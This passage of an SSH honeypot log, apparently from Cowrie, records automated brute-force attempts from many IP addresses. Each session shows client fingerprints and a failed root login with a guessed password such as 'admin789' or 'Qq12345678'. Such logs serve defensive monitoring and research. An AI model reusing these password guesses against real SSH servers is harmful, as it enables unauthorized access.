@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:14.730630Z","src_ip":"184.94.212.80","session":"c4e38d39f521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nascar","message":"login attempt [root/nascar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:15.025240Z","src_ip":"184.94.212.80","session":"c4e38d39f521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:16.092527Z","src_ip":"184.94.212.80","session":"c4e38d39f521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":55618,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd48c475047","protocol":"ssh","message":"New connection: 115.178.75.242:55618 (159.203.135.109:22) [session: 1fd48c475047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:29.823843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:29.829298Z","src_ip":"115.178.75.242","session":"1fd48c475047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:30.008126Z","src_ip":"115.178.75.242","session":"1fd48c475047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alabala","message":"login attempt [root/alabala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:30.753565Z","src_ip":"115.178.75.242","session":"1fd48c475047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":55020,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9fd523b5abc","protocol":"ssh","message":"New connection: 163.227.230.54:55020 (159.203.135.109:22) [session: b9fd523b5abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:31.651624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:31.656067Z","src_ip":"163.227.230.54","session":"b9fd523b5abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:31.897527Z","src_ip":"163.227.230.54","session":"b9fd523b5abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:31.935481Z","src_ip":"115.178.75.242","session":"1fd48c475047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdabcd","message":"login attempt [root/abcdabcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:32.896530Z","src_ip":"163.227.230.54","session":"b9fd523b5abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:34.144359Z","src_ip":"163.227.230.54","session":"b9fd523b5abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":53170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b64b21b35e87","protocol":"ssh","message":"New connection: 43.153.0.59:53170 (159.203.135.109:22) [session: b64b21b35e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:36.112372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:36.117033Z","src_ip":"43.153.0.59","session":"b64b21b35e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:36.185128Z","src_ip":"43.153.0.59","session":"b64b21b35e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkm","message":"login attempt [root/gfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:36.490009Z","src_ip":"43.153.0.59","session":"b64b21b35e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:37.563618Z","src_ip":"43.153.0.59","session":"b64b21b35e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:37.648885Z","src_ip":"115.190.168.136","session":"29636ad84404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":58770,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d8674bb5c47","protocol":"ssh","message":"New connection: 43.156.237.246:58770 (159.203.135.109:22) [session: 6d8674bb5c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:39.599196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:39.603514Z","src_ip":"43.156.237.246","session":"6d8674bb5c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:39.841699Z","src_ip":"43.156.237.246","session":"6d8674bb5c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin789","message":"login attempt [root/admin789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:40.834173Z","src_ip":"43.156.237.246","session":"6d8674bb5c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:42.075430Z","src_ip":"43.156.237.246","session":"6d8674bb5c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":57702,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1e05d5b84e","protocol":"ssh","message":"New connection: 152.32.150.26:57702 (159.203.135.109:22) [session: 1f1e05d5b84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:43.837825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:43.842818Z","src_ip":"152.32.150.26","session":"1f1e05d5b84e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:43.854344Z","src_ip":"152.32.150.26","session":"1f1e05d5b84e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"portal123","message":"login attempt [root/portal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:43.930930Z","src_ip":"152.32.150.26","session":"1f1e05d5b84e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:44.945117Z","src_ip":"152.32.150.26","session":"1f1e05d5b84e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":58480,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ac73e5acb10","protocol":"ssh","message":"New connection: 108.167.177.203:58480 (159.203.135.109:22) [session: 9ac73e5acb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:04.679369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:04.684413Z","src_ip":"108.167.177.203","session":"9ac73e5acb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:04.717868Z","src_ip":"108.167.177.203","session":"9ac73e5acb10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lan","message":"login attempt [root/lan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:04.860414Z","src_ip":"108.167.177.203","session":"9ac73e5acb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:05.890728Z","src_ip":"108.167.177.203","session":"9ac73e5acb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":47090,"dst_ip":"159.203.135.109","dst_port":22,"session":"60999100c847","protocol":"ssh","message":"New connection: 207.154.230.149:47090 (159.203.135.109:22) [session: 60999100c847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:06.416981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:06.422195Z","src_ip":"207.154.230.149","session":"60999100c847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:06.506206Z","src_ip":"207.154.230.149","session":"60999100c847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2022","message":"login attempt [root/admin2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:06.878244Z","src_ip":"207.154.230.149","session":"60999100c847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:07.967210Z","src_ip":"207.154.230.149","session":"60999100c847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":50196,"dst_ip":"159.203.135.109","dst_port":22,"session":"16db7c5fbd65","protocol":"ssh","message":"New connection: 119.28.117.200:50196 (159.203.135.109:22) [session: 16db7c5fbd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:08.726993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:08.731965Z","src_ip":"119.28.117.200","session":"16db7c5fbd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:08.974217Z","src_ip":"119.28.117.200","session":"16db7c5fbd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:09.958853Z","src_ip":"119.28.117.200","session":"16db7c5fbd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:11.200596Z","src_ip":"119.28.117.200","session":"16db7c5fbd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":54427,"dst_ip":"159.203.135.109","dst_port":22,"session":"839c3898d58c","protocol":"ssh","message":"New connection: 103.219.170.37:54427 (159.203.135.109:22) [session: 839c3898d58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:12.623496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:56:12.628511Z","src_ip":"103.219.170.37","session":"839c3898d58c","protocol":"ssh"}
